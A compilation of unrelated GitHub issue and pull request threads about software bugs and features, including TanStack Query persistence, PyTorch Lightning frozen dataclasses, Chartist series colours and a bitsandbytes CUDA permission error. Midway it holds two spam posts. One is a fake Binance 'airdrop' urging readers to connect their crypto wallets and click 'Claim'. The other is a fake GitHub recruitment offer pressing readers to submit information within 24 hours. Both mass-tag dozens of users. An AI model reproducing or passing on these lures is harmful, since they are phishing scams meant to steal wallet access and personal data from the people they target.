Not sure what changed with the PeristQueryClientProvider, but as @RobertOstermann mentioned, when using the QueryClientProvider this works as expected.
@TkDodo any insights as to what's happening here?

Generally, restoring from any storage is an async process. So with the PersistQueryClientProvider, there is at least one render cycle where the Observer will be in the following state:
status: 'pending'
fetchStatus: 'idle'

for that combination of states, isLoading will be false. The app will still be rendered (mainly to not completely block SSR), but queries will not be subscribed yet.
Then, after the restore process is complete, the Query will be in whatever state it is supposed to be. If data is restored, and that data is fresh, it will be:
status: 'success'
fetchStatus: 'idle'

If the restored data is stale, you should see a background refetch:
status: 'success'
fetchStatus: 'fetching'

But in both of these cases, isLoading should be false, because that flag is only true for a "hard loading state", and once you restore data successfully from localstorage, you won't be "hard loading" ever again.
Interestingly, when I log those states inside PostsComponent:
console.log(postsQuery.status, postsQuery.fetchStatus);

I get the following output:
pending idle
pending fetching
Fetching posts...
pending fetching
pending fetching
success idle
success idle

pending idle is expected (like I explained before), but pending fetching is not. This should be success fetching or success idle. So it feels like the restore never really takes places here.
After debugging this further, I can see that you've set maxAge: 1000 on the persistOptions,  meaning the data that's stored will be deemed invalid after ONE SECOND. That explains it, because every restore will now see data that is older than maxAge and will just discard it.
After removing the custom maxAge setting, I get the expected output:
pending idle
success fetching
Fetching posts...
success fetching
success idle

Can I get my 30 minutes back please ...

@TkDodo I think with the maxAge: 1000, while not a realistic real world example, still represents the scenario when query data is discarded due to the user not opening the site for 24 hours (default max age). The initial state does not have any data, but is in the process of restoring the data. To me that would indicate it is loading and it would be nice if the isLoading state reflected that, regardless of if the loading is retrieving data from local storage or actually querying for data.
I was using the isLoading state to determine if the query completed. Would it be better if I used isSuccess to determine this? Or would the useIsRestoring hook be something I should be using in addition to isLoading, knowing that when both are false the data has completed the restore/fetch process?

okay so the problem is in defining what isLoading means. It's really just: status === 'pending' && fetchStatus === 'fetching', meaning: "We have no data and we are currently fetching it for the first time".
When you restore from localstorage, it's not true because we have to wait for the data to be restored in order to know how old it is and if there will be a fetch. Then, it switches to true because the restored data will be discarded.

I was using the isLoading state to determine if the query completed.

Not sure what you mean by "query is completed". if (!isLoading) does not mean that data will be available - TypeScript also doesn't narrow here. if (data) or if (isSuccess) would be better checks for that.

Ok sounds good, seems like my understanding of how isLoading would work on the persist query provider was incorrect. Closing as it sounds like this is working as expected.


Windows: migrate to CRT from MSVCRT

The Windows environment calls the library CRT.  This also enables the
removal of the visualc module from the Swift SDK overlay.

Replace this paragraph with a description of your changes and rationale. Provide links to an existing issue or external references/discussions, if appropriate.
Checklist

[x] I've added at least one test that validates that my change is working, if appropriate
[x] I've followed the code style of the rest of the project
[x] I've read the Contribution Guidelines
[x] I've updated the documentation if necessary

@swift-ci please test

This needs to be synchronized with https://github.com/apple/swift/pull/34299

All associated changes for that change are now merged


feature-request - Cropping interface

Allowing us to manipulate or modify cropping interface like draggable cropping indicator to any sides of screen and have option on what color of overlay when cropping. Eg.
Enum CroppingShape
{
CIRCLE,
TRIAGLE,
SQUARE
}
var file = await CrossMedia.Current.TakePhotoAsync(new StoreCameraMediaOptions
{
AllowCropping = true;
OverlayColor = Gray; //Color of Overlay
OverlayOpacity = 5; //Opacity of Overlay
CroppingShape = CroppingShape.CIRCLE; //Shape of Cropper
IsMovable = true; //Allow user to move Circle shape cropper to select which part og image to crop
});

No plans on implementing this as it should be done in a different app since it is not available out of the box on all platforms.


Exception in FlowModel

The exception occurred after I restarted analysis server after building the SDK on Fri Aug 23 08:06:23 PDT 2019.
Analyzer Feedback from IntelliJ
Version information

IDEA IC-192.6262.58
2.5.0-edge.d53867d259a760c4e69ee7e1ba53196e560160e6
IC-192.6262.58, JRE 11.0.3+12-b304.39x64 JetBrains s.r.o, OS Mac OS X(x86_64) v10.14.6, screens 1680x1050  Retina

Exception
Dart analysis server, SDK version 2.5.0-edge.d53867d259a760c4e69ee7e1ba53196e560160e6, server version 1.27.2, error: Analysis failed: /Users/brianwilkerson/src/dart/personal/test_package/lib/error_codes_without_fixes.dart context: exception_20190823_081218_299
NoSuchMethodError: The getter 'promotedType' was called on null.

For additional log information, please append the contents of
file:///private/var/folders/_z/xg4j4cl517zc6rm212d2pjsc003j4q/T/report4.txt.
@stereotype441

@bwilkerson Did you have NNBD enabled?  If not, then I want to classify this as a P1, because we only want flow analysis to be run in NNBD-enabled code.

Yes. I should have said so in the original post. That's a test package that I use for trying out experimental features, including nnbd.

Fix out for review: https://dart-review.googlesource.com/c/sdk/+/115262


liquidsoap: use youtube-dl from PATH

the default youtube-dl is very slow and seems to be not working. there is currently no way to use some alternative since it's hardcoded in the wrapper.
Also we probably don't want to rebuild liquidsoap for every youtube-dl upgrade.
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 205655 run on x86_64-linux 1

1 package built:

liquidsoap

I'm not sure this is the way. Having to install multiple packages to use a package fully doesn't feel very nix-y.

well liquidsoap works also fine without youtube-dl. so it should be an optional dependency anyway? not sure everybody who runs liquidsoap also needs youtube-dl. IMHO taking it from PATH is the best way. we also don't specify espeak, but there is text2speech functionality for that in liquidsoap.

we also don't specify espeak, but there is text2speech functionality for that in liquidsoap.

https://www.liquidsoap.info/doc-dev/protocols.html  does not list espeak as a protocol, my understanding is that text2wave is from "festival" which we don't have a package for

I generally much prefer to have runtime dependencies in wrappers. I'm however okay with changing runtimePackages to be empty by default and maybe splitting the wrapping into a different derivation. Then people can do whatever they want.
There's a lot of "bloat" in the liquidsoap we're shipping already - just from the libraries and functionality we're compiling in, which is why I personally think it'd make sense to also ship all required runtime dependencies, so that it's as a complete package as it can be.


Frozen Dataclasses as samples produce an error in 1.5+

🐛 Bug
When using a frozen dataclass to define a sample, an error is thrown.
File ".../python3.9/site-packages/pytorch_lightning/utilities/apply_func.py", line 146, in apply_to_collection
  setattr(result, field_name, v)
File "<string>", line 4, in __setattr__
dataclasses.FrozenInstanceError: cannot assign to field 'x'

This only started happening in 1.5+, the snippet below runs fine in 1.4.9.
To Reproduce
import os
from dataclasses import dataclass, fields, is_dataclass
from typing import Any, Optional, Sequence

import pytorch_lightning as pl
import torch
from pytorch_lightning import Trainer
from torch import Tensor
from torch.utils.data import DataLoader, Dataset
from torch.utils.data._utils.collate import default_collate_err_msg_format

@dataclass(frozen=True)
class Sample:
    x: torch.Tensor
    y: torch.Tensor

class my_collate:
    def _collate(self, batch: Sequence[Any]) -> Any:
        elem = batch[0]
        elem_type = type(elem)
        if isinstance(elem, Tensor):
            out = None
            if torch.utils.data.get_worker_info() is not None:
                numel = sum(x.numel() for x in batch)
                storage = elem.storage()._new_shared(numel)
                out = elem.new(storage)
            ndims = elem.dim()
            if (ndims > 0) and ((ndims % 2) == 0):
                return torch.cat(batch, dim=0, out=out)
            return torch.stack(batch, dim=0, out=out)
        elif isinstance(elem, int):
            return torch.tensor(batch)
        elif is_dataclass(elem):
            return elem_type(
                **{
                    field.name: self._collate([getattr(d, field.name) for d in batch])
                    for field in fields(elem)
                }
            )
        raise TypeError(default_collate_err_msg_format.format(elem_type))

    def __call__(self, batch: Sequence[Any]) -> Any:
        return self._collate(batch=batch)

class RandomDataset(Dataset):
    def __init__(self, size, length):
        self.len = length
        self.data = torch.randn(length, size)
        self.labels = torch.randint(0, 2, (length,))

    def __getitem__(self, index):
        return Sample(x=self.data[index], y=self.labels[index])

    def __len__(self):
        return self.len

class MyDataModule(pl.LightningDataModule):
    def __init__(self, batch_size: int = 2):
        super().__init__()
        self.batch_size = batch_size

    def setup(self, stage: Optional[str] = None):
        self._train = RandomDataset(32, 64)
        self._val = RandomDataset(32, 64)
        self._test = RandomDataset(32, 64)
        self._predict = RandomDataset(32, 64)

    def train_dataloader(self):
        return DataLoader(
            self._train, batch_size=self.batch_size, collate_fn=my_collate()
        )

    def val_dataloader(self):
        return DataLoader(
            self._val, batch_size=self.batch_size, collate_fn=my_collate()
        )

    def test_dataloader(self):
        return DataLoader(
            self._test, batch_size=self.batch_size, collate_fn=my_collate()
        )

    def predict_dataloader(self):
        return DataLoader(
            self._predict, batch_size=self.batch_size, collate_fn=my_collate()
        )

class BoringModel(pl.LightningModule):
    def __init__(self):
        super().__init__()
        self.layer = torch.nn.Linear(32, 2)

    def forward(self, x):
        return self.layer(x)

    def training_step(self, batch: Sample, batch_idx):
        loss = self(batch.x).sum()
        self.log("train_loss", loss)
        return {"loss": loss}

    def validation_step(self, batch: Sample, batch_idx):
        loss = self(batch.x).sum()
        self.log("valid_loss", loss)

    def test_step(self, batch: Sample, batch_idx):
        loss = self(batch.x).sum()
        self.log("test_loss", loss)

    def configure_optimizers(self):
        return torch.optim.SGD(self.layer.parameters(), lr=0.1)

if __name__ == "__main__":
    dm = MyDataModule()
    dm.prepare_data()
    dm.setup()
    mnist_train = dm.train_dataloader()
    mnist_val = dm.val_dataloader()

    model = BoringModel()

    trainer = Trainer(
        default_root_dir=os.getcwd(),
        limit_train_batches=1,
        limit_val_batches=1,
        limit_test_batches=1,
        num_sanity_val_steps=0,
        max_epochs=1,
    )
    trainer.fit(model, mnist_train, mnist_val)

Expected behavior
It would be really nice to be able to continue using frozen dataclasses to define samples. Indexing with batch.x is nicer (to me) than batch[0]. I also think that a sample should be immutable to save from potential bugs.
Environment
* CUDA:
        - GPU:
        - available:         False
        - version:           None
* Packages:
        - numpy:             1.21.4
        - pyTorch_debug:     False
        - pyTorch_version:   1.10.0
        - pytorch-lightning: 1.5.4
        - tqdm:              4.62.3
* System:
        - OS:                Darwin
        - architecture:
                - 64bit
                -
        - processor:         i386
        - python:            3.8.12
        - version:           Darwin Kernel Version 21.1.0: Wed Oct 13 17:33:23 PDT 2021; root:xnu-8019.41.5~1/RELEASE_X86_64

Additional context
This might seem like a weird pattern, but if you've got a dataloader that can return 2 types of data, e.g. (x,y) pairs, and in some cases (x,z,y) triplets, where Z is some additional data, being able to use isinstance is a bit safer than checking some other attribute (e.g. len).
cc @borda

Hey @olliethomas,
Would you be interested in making a contribution to fix this bug? I believe this problem is within the apply_to_collection function.
Best,
T.C

Hello! Can I try and contribute to fixing this bug ? @tchaton
Regards

Hey @abhi-rf,
Yes, go for it :)
Best
T.C

I have a more general question: If you have a frozen dataclass, isn't it kind of the point not being able to mutate it? So why do you want to work around this? Why can't you simply use a non-frozen dataclass or a namedtuple?
Personally I strongly think that we should not include this hack

If you have a frozen dataclass, isn't it kind of the point not being able to mutate it?

Yep, exactly. If I input a collection of Sample, where Sample is a frozen dataclass, then as someone not particularly familiar with the internals of PL, I was not expecting these to be mutated. From my perspective as a user (which caused me view this as a bug), the dataclasses were not being mutated prior to v1.5. If this is not the case, and v1.5+ has instead exposed previously unintended behaviour, then this should just be closed, and I'll update my codebase.

I also think that a sample should be immutable to save from potential bugs.
I strongly disagree here as well.

This is probably my own preferences sneaking out. I am generally flippant when it comes to memory use and prefer making almost everything immutable, returning a new instance when an operation is performed. I also have the benefit of not working on anything that's to the scale and complexity of PL though 😄

apply_to_collection gets called when Lightning attempts to move the returned data to the device. If the data is not one of a recognized type, we don't modify the batch. Dataclasses are supported but we should exclude the frozen ones imo. Let's check in our implementation if dataclass is frozen and if it is, skip applying the function. Does that make sense?

Hey @awaelchli,
I am not entirely sure about this. I totally understand the argument above, but at the same time, as a user, I would assume frozen dataclass means the value won't change but not necessarily the device reference of the value.
IMO, I would expect this to work, but I understand the other view too.

@tchaton I would assume it not to be touched at all since it is supposed to be immutable.
@olliethomas if you want this behavior for now, you could probably work around this by manually defining the transfer_batch_to_device hook in your LightningModule/DataModule like so:
import dataclasses
def transfer_batch_to_device(self, batch: Any, device: torch.device, dataloader_idx: int) -> Any:
    # batch is a mutable dataclass here
    batch_on_device = super().transfer_batch_to_device(batch, device, dataloader_idx)
    # batch_on_device is still a mutable dataclass
   frozen_batch = MyFrozenDataClass(**dataclasses.asdict(batch_on_device)) # this also has tensors on right device then.
   return frozen_batch

The only downside would be that you have to define two separate dataclasses here.
However, this is what I think to be the best way to achieve this since I strongly advocate for not patching around limitations that have been built into python on purpose.

Hey @justusschock,
Yes, I believe this is a valid argument.

Dataclasses are supported but we should exclude the frozen ones imo. Let's check in our implementation if dataclass is frozen and if it is, skip applying the function

However, this might trigger a confusing error message. It would fail as the tensors are left on CPU while they should be on GPU.
IMO, we should fail if the user provides frozen dataclass as ignoring them could lead to unwanted behaviour and confusing error messages. Curious to hear your thoughts @carmocca.

I agree with Justus' comments. I'd say failing is the safest option here.
In any case, using tensors with frozen dataclasses is uncommon, as they are generally meant to be mutated for memory efficiency.

Cool, let's fail if a frozen dataclass containing transferable object is passed.

@abhi-rf would you like to adjust your PR accordingly?

@abhi-rf would you like to adjust your PR accordingly?

Yes Sure!


Unified pixel coordinate scheme

Dear iGibson Team,
First things first: thanks for maintaining the lib, its amazing !
My question:
I am using iGibson to train an agent exploring the environment given some top down map of the environment. The map is successively revealed during the episode by the agent itself based on depth and semantic segmentation mask. Now I want to increase the generalization of the method by training on different environments.
I use some naive method for converting the world coordinates into pixel coordinates for the map as such :
 x = (x_world+self.grid_offset[0])/self.grid_spacing[0]   y = (y_world+self.grid_offset[1])/self.grid_spacing[1]  return [np.round(x)+self.offset,np.round(y)+self.offset]
Now the world coordinates are distinct from each other depending on the scene used. My question is if there exist any unified method such that I do not need to modify these spacing's for each scene. I am even required to resize the maps depending on the scene.

This here is our only world-map coordinate conversion that iGibson includes:
https://github.com/StanfordVL/iGibson/blob/c0dba21952eb8a9323278be276ea9295425a1f7c/igibson/scenes/igibson_indoor_scene.py#L960-L977
Obviously this will have a different result based on the seg map's resolution. I'm not sure what you mean by unified (do you want all the scenes to have the same resolution?) but you'd need to implement that yourself. You can use the seg map images to figure out the rooms' sizes however.

Yea I expected that :/ but thanks anyway for your answer :)


update dev dependencies

on npm audit:
found 9 vulnerabilities (2 low, 2 moderate, 4 high, 1 critical)

these apparently are related to marshmallow and inject-ga

In here i got a working prototype
https://github.com/borracciaBlu/banner-cli/commit/aed3ea87956680a68d7de53f3898fc7308bfc29a
additional benefit of npx you don't have to keep update these packages all the times because npx is going to use the latest version

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @keiohtani, @youngchief-btw, @Vyk76, @anksh1997, @liamlagezyxis, @RealBeepMcJeep, @pawel8282, @rbn280, @DamirPorobic, @Piyush181, @berchan, @christian-schneider, @90mbet, @m4ns0ur, @sreelakshmig009, @rjakobsson, @ChaseLLC, @LeonYanghaha, @neeker, @0xTaoL, @zen0bit, @CrashTD, @Ciampi10, @paulieadam, @masz77, @Indigo-code, @lokiwiki, @qspidy, @azdanov, @Evgeniy-LOR, @EternalTranquility1, @oguhpereira, @bennlloyd1, @mr-shitou, @jabocg, @mazharqayyum, @israelss, @yckbilly1929, @pankunkun, @TayfunCesur, @Xavier-Mobius, @alexsyw, @jonluo94, @ybhwang, @brendantay, @jon-chuang, @0shimax, @dantehemerson, @bytting, @YangAi

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
silencetalk, @kantmakm, @wanglunoasis, @ardianta, @ByCnck, @nucle0tides, @Shinnnyshinshin, @DanFaudemer, @nater540, @KardanovIR, @hrishikeshchoudhari, @lsankar4033, @password36, @dowlandaiello, @vaenow, @frabrunelle, @steve-lopez, @andyzhshg, @alex-dixon, @berkos


Not working on Android

Bro it doesn't work on Growtopia ver 4.18

I mean it works but there's no cheat like gcan or someting. It say's /proxy invalid command.

I mean it works but there's no cheat like gcan or someting. It say's /proxy invalid command.

you need to add it yourself, but i make the example = /proxyhelp


More than 4 lines in a chart not possible?

Hi, absolutely love chartist capabilities!
I have been playing around with it and somehow it won't display more than 4 lines in a line chart.
Thought I might have made a mistake, but if I modify the examples on documentation-site, it is also not possible.
Example from the documentation site - the fifth line won't be drawn:
new Chartist.Line('.ct-chart', {
labels: ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'],
series: [
[12, 9, 7, 8, 5],
[2, 1, 3.5, 7, 3],
[1, 3, 4, 5, 6],
[10, 30, 40, 5, 6],
[12, 31, 4, 5, 6]
]
});
Is this a limitation of chartist or I am indeed missing someting?
Regards,
Mark

Thanks! :-) There is still much to do in order to fully use today's browser power but I hope we'll get there ;-)

I would think having 6-8 default colors would be much better, because the scheme would look more cohesive, and requires less configuration out of the box.

Hello Chartists,
i just came across this issue and found one solution.
For example for Pie chart you need to:
Add seriesColors = [], after this line
Then you need to edit this part:
line 2538
if(options.donut === true) {
path.attr({
'style': 'stroke-width: ' + (+options.donutWidth) + 'px'
});
}

and instead paste this:
// get color from this.data, if undefined, generate random number
// you can place your custom default color here ;) or leave the generator
var color = typeof this.data.colors !== 'undefined' ? this.data.colors[i] : '#'+(Math.random().toFixed(6).toString(16)).slice(2);
// if we are rendering donut, set the stroke color, otherwise set fill
if(options.donut === true) {
  path.attr({
    'style': 'stroke-width: ' + (+options.donutWidth) + 'px;' + 'stroke: ' + color
  });
}else{
  path.attr({
    'style': 'fill: ' + color
  });
}

It is pretty obvious :)
After these two steps you can pass colors to your chart in datasets, like below:
var chartistData = {
        labels: [Mon, Tue, Due, West],
        series: [20, 40, 2, 1],
        colors: ['#ef9922', '#55ef22', 'red', 'blue']
      };

new Chartist.Pie('.ct-chart', chartistData, {
      donut: true,
      donutWidth: 40,
      startAngle: 360,
      total: 0,
      showLabel: true
    });

Hope that this was helpful for someone.

@vincurekf, I appreciate you're sharing your monkey patch but I'd like to state here that I don't support this solution. Chartist was created with a clear separation of concerns as one of it's core principles and colors should be specified in CSS. In case of dynamic colors you should use the drawevent.

Some example of using the draw event to create dynamic appearance:
http://jsbin.com/pemute/1/edit?js,output
http://jsbin.com/xusinu/1/edit?css,js,output

@gionkunz oh, i dindn't think of the draw event. That is reasonable solution for dynamic color change without changing the core code. But i still miss the option to set the colors within the chart dataset.
Anyway, thanks for your advice :)

@gionkunz love the Sass implementation and therefore the separation of presentation and content. Confused though - I updated chartistsettings.scss to increase the series size to 5 items (added 'e') and added another color. I compiled and Sass produced an error:
Syntax error: List index is 5 but list is only 4 items long for `nth'
        on line 130 of source/css/vendor/chartist/chartist.scss, in `ct-chart'
        from line 141 of source/css/vendor/chartist/chartist.scss
        from line 62 of source/css/style-supp.scss
My guess is I wasn't supposed to do this. Is it best to add a color series outside of the Sass settings file?

Hey guys I've finally took the initiative and created more colors for Chartist :-) I'm not a color expert but I hope that I've created a nicely balanced color palette of 14 colors. I've respected the old colors as far as possible. The only differences to the old color set is that the 4th color is now an orange instead of brown.
I hope you them:

An in a line Chart:

@Founts , you did exactly the right thing. Are you sure you added the same amount of series names as colours? I think if you added too many series names and forgot to add all the colours you'll run into this issue. For the new 14 default colours I only extended these Sass lists (I wasn't using maps because were still issues in LibSass with maps). Check the commit: aad8067

@gionkunz YES!!!!! Thank you!!

@gionkunz Regarding compile issue: I ended up removing the !default to get Sass to compile. Any idea why this fixed my problem?
$ct-series-names: (a, b, c, d, e, f, g) !default;
$ct-series-colors: (#45130E #D74F42 #FF7567 #453A1A #F4C63D #FFE8A3 #3B382E);

I'm really not sure why this is happening @Founts and I can't reproduce it locally. Are you using Ruby Sass or Node Sass / Lib Sass? Which version are you using?

@gionkunz Thanks for the response and checking on it. I'm running Ruby Sass 3.3.6 Maptastic. I wouldn't sweat this issue any further. (checked for latest) Guess my version is quite old!

@gionkunz Regarding the colors, they are good. I'm not sure if you are aware however, there are some accessibility issues for those with color vision deficiency (Deuteranopia, etc.). Color accessibility can be handled two different ways: either with project defaults or by developer implementation.
For default, select colors with more contrast or avoid placing colors with similar contrast next to each other.
For developer implementation, you could recommend that dev/designers use patterns (dashes, stripes, etc.). Not sure this project has patterns for all charts just yet though.

@gionkunz Just curious - I found that .ct-chart .ct-series.ct-series-e .ct-line works while .ct-series.ct-series-e .ct-line and simply .ct-line won't. Is this normal when styling SVG with CSS?

@gsklee no this is normal in CSS as the specificity is lower with one class selector less. I think the Chartist selector specificity is too high anyway and as we're using ct- prefixes anyway we could get rid of a lot of those so I created #207

@Founts sorry your last message slipped through my radar somehow. I'd love to take accessibility into account as much as possible and I'm aware that the red, orange, yellow part is not easy to distinguish even for perfectly sighted people. However, because I didn't wanted people who used the default colors to have issues with the updated version, I've kept the sequence like this.


python -m bitsandbytes got this error message

bitsandbytes=0.40.2
CUDA Version=12.0
Traceback (most recent call last):
File "/home/hans2/miniconda3/lib/python3.10/runpy.py", line 187, in _run_module_as_main
mod_name, mod_spec, code = _get_module_details(mod_name, _Error)
File "/home/hans2/miniconda3/lib/python3.10/runpy.py", line 146, in _get_module_details
return _get_module_details(pkg_main_name, error)
File "/home/hans2/miniconda3/lib/python3.10/runpy.py", line 110, in _get_module_details
import(pkg_name)
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/init.py", line 6, in
from . import cuda_setup, utils, research
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/research/init.py", line 1, in
from . import nn
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/research/nn/init.py", line 1, in
from .modules import LinearFP8Mixed, LinearFP8Global
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/research/nn/modules.py", line 8, in
from bitsandbytes.optim import GlobalOptimManager
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/optim/init.py", line 6, in
from bitsandbytes.cextension import COMPILED_WITH_CUDA
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cextension.py", line 13, in
setup.run_cuda_setup()
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cuda_setup/main.py", line 120, in run_cuda_setup
binary_name, cudart_path, cc, cuda_version_string = evaluate_cuda_setup()
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cuda_setup/main.py", line 337, in evaluate_cuda_setup
cudart_path = determine_cuda_runtime_lib_path()
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cuda_setup/main.py", line 295, in determine_cuda_runtime_lib_path
cuda_runtime_libs.update(find_cuda_lib_in(value))
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cuda_setup/main.py", line 231, in find_cuda_lib_in
return get_cuda_runtime_lib_paths(
File "/home/hans2/miniconda3/lib/python3.10/site-packages/bitsandbytes/cuda_setup/main.py", line 217, in get_cuda_runtime_lib_paths
if (path / libname).is_file():
File "/home/hans2/miniconda3/lib/python3.10/pathlib.py", line 1322, in is_file
return S_ISREG(self.stat().st_mode)
File "/home/hans2/miniconda3/lib/python3.10/pathlib.py", line 1097, in stat
return self._accessor.stat(self, follow_symlinks=follow_symlinks)
PermissionError: [Errno 13] Permission denied: '/usr/share/lmod/lmod/init/ksh_funcs/libcudart.so'

Facing same Issue, for earlier version setting LD_LIBRARY_PATH env varaible worked, with 0.41.0 even after setting LD_LIBRARY_PATH getting [Errno 13] Permission denied error.

Dont know if you have windows system ...
on Windows i had to search 24hours for solution regarding conflict between CUDA and bitsandbytes.
For me the following windows version of bitsandbytes helped:
pip install bitsandbytes-windows
search on github ... there is a repository for bitsandbytes-windows

see also comments at bottom here
https://github.com/facebookresearch/bitsandbytes/issues/7


Add Create Metapackage section

Description
A meta-package includes a group of existing TCE packages. While a meta-package shares structure with a TCE package, many of the steps are not required.
Referring to
https://tanzucommunityedition.io/docs/latest/package-creation-step-by-step/
Step 1 would be simpler, because there is no upstream or overlay directory required. Steps 2-5 are not required at all. We would also discuss concepts unique to meta-packages.
A separate section is warranted, as the package creation process is quite complex, and trying to discuss two concepts at the same time could be difficult for the reader.
We propose creating two sections: "Create an Upstream Package" that is the current "Create a Package" documentation, and "Create a Meta Package" that is the new document discussed here.
Location
This would appear in the Packages section, parallel to the current Create Package and Work with Packages sections
Additional Context
We are building the App Platform meta-package within TCE. These instructions do not fit within App Platform documentation and belong in this separate section, to help community members who might like to create a meta-package for other reasons.
NOTE that @mstergianis and @cgsamp propose to author this document

@cgsamp Thanks for submitting this issue. We've looked over it, got a question...
Why do you not see the need for upstream and/or overlay directories?


Add ControlNode for UI

This PR adds a ControlNode which marks an entity as "transparent" to the UI layout system, meaning the children of this entity will be treated as the children of this entity s parent by the layout system(s).

Something we should consider is whether to move this into bevy_transform instead - this form of "children transparency" could be useful elsewhere, and having a common component all others base things around could be a good idea.

Code looks good, but could you show an example where this is useful?

This increases the flexibility of the hierarchy by letting other crates store more complex information in the UI hierarchy while still having it work. I'm personally using this in ui4 to encode the control structure inside the ECS as deeper levels of nesting, and this change made things drastically simpler.


ptz / types / GetPresetsResponse - Profiles field should be a list

As the name implies we are expecting a list of profiles.
In fact in the onvif documentation we are also told we should expect a list.
RESPONSE:
• Preset - optional, unbounded [tt:PTZPreset]
List of presets for the requested MediaProfile.
Reference here: https://www.onvif.org/specs/srv/ptz/ONVIF-PTZ-Service-Spec.pdf

Same Issue. Please merge to master


Cannot add resources if Spanish is selected

A js exception rises in this line:

because the translation has an extra \n.
So the "Add" button of data resources does not open the dialog.
The workaround is to remove the \n  (in our case in /var/lib/tomcat9/webapps/ipt/WEB-INF/classes/ApplicationResources_es.properties):

or use English. I'm requesting access to crowdin to try to fix it.
This happens in 2.7.1.

Thank you for reporting this bug @vjrj
I'll release fix shortly


PyTorch support

PyTorch and TorchScript support multiple serialization formats. Based on which format is used, a .pth or .pt file might contain  only tensor data, a partial module hierarchy without graph connections or a TorchScript serialized graph.

torch.save(model.state_dict(), file) - the app will load the tensors, grouping names by modules
torch.save(model, file) - the app will show the module hierarchy without node connections
torch.jit.script(model).save(file) - the app will try to extract and render the TorchScript graph.

The experimental client browser and Electron app emulate a limited subset of the TorchScript interpreter
The experimental Python Server will try to extra the TorchScript graph using Python code

PyTorch support is experimental. The recommended approach is to save the model to ONNX.
pytorch/pytorch#31877 for a discussion of the different container formats.

sparsified.pth.zip

Sample model files:
alexnet.pkl.pth.zip
alexnet.zip.pth.zip
densenet161.zip.pth.zip
inception_v3.pkl.pth.zip
inception_v3.zip.pth.zip
resnet101.pkl.pth.zip
r3d_18.zip.pth.zip
shufflenet_v2_x1_0.zip.pth.zip
squeezenet1_1.pkl.pth.zip
valid-bert-base-uncased.zip
ENet.pth.zip
pytorch_invalid_file.zip
tutorial_models.zip via pytorch-tutorial
labels.pth.zip
mnist_bfloat16.pt.zip
complex_tensor.pt.zip
fruit_veg_model.pkl.zip
sparsified.pth.zip
sparse_coo.pth.zip
yolov5n.tensor.pth.zip
from_numpy.pth.zip
data.pkl.zip
yolov5n-0.5.pt.zip


Boostrap3 folder and release v1.3.0a15

@slint closing this since it has already been done in master. Please re-open if some part still needed. Release will happen on https://github.com/inveniosoftware/invenio-theme/issues/209


billing: Making /upgrade page header visible.

This was hidden following #25518
Events

Billing and upgrade page:

Thanks! The top part looks OK to me.
Somehow the bottom part is different from the above screenshot when I test it. It would be good to have some blank space at the bottom, and I don't know why there's a background color change.

(My screenshot includes the entirety of the page -- there's no space to scroll further.)

@alya added some bottom padding to the page.

There is no background color change here.

There is no background color change here.

Could this vary depending on how the page loads? It's definitely there in the screenshot I shared...

Could this vary depending on how the page loads? It's definitely there in the screenshot I shared...

I am not sure, what background color would you like to see?

Merged, thanks @amanagr!
I'm guessing the shadow that @alya is seeing is somehow a browser feature, but don't have a theory for what it might be.
But there's a different thing, that's almost imperceptible, which is there's a 10px or so lighter stripe at the bottom here:

Yes, that's what I meant -- the grey seems fine, but there shouldn't be a white stripe at the bottom.
I don't know why I saw a wide white strip, @timabbott's screenshot above has a narrow one, and in @amanagr 's screenshot the background is sometimes all grey and sometimes all white (?).


[hotfix]fix typo for variable name dynamicProperties in FlinkYarnSessionCli.java

What is the purpose of the change
fix typo for variable name dynamicProperties in FlinkYarnSessionCli.java

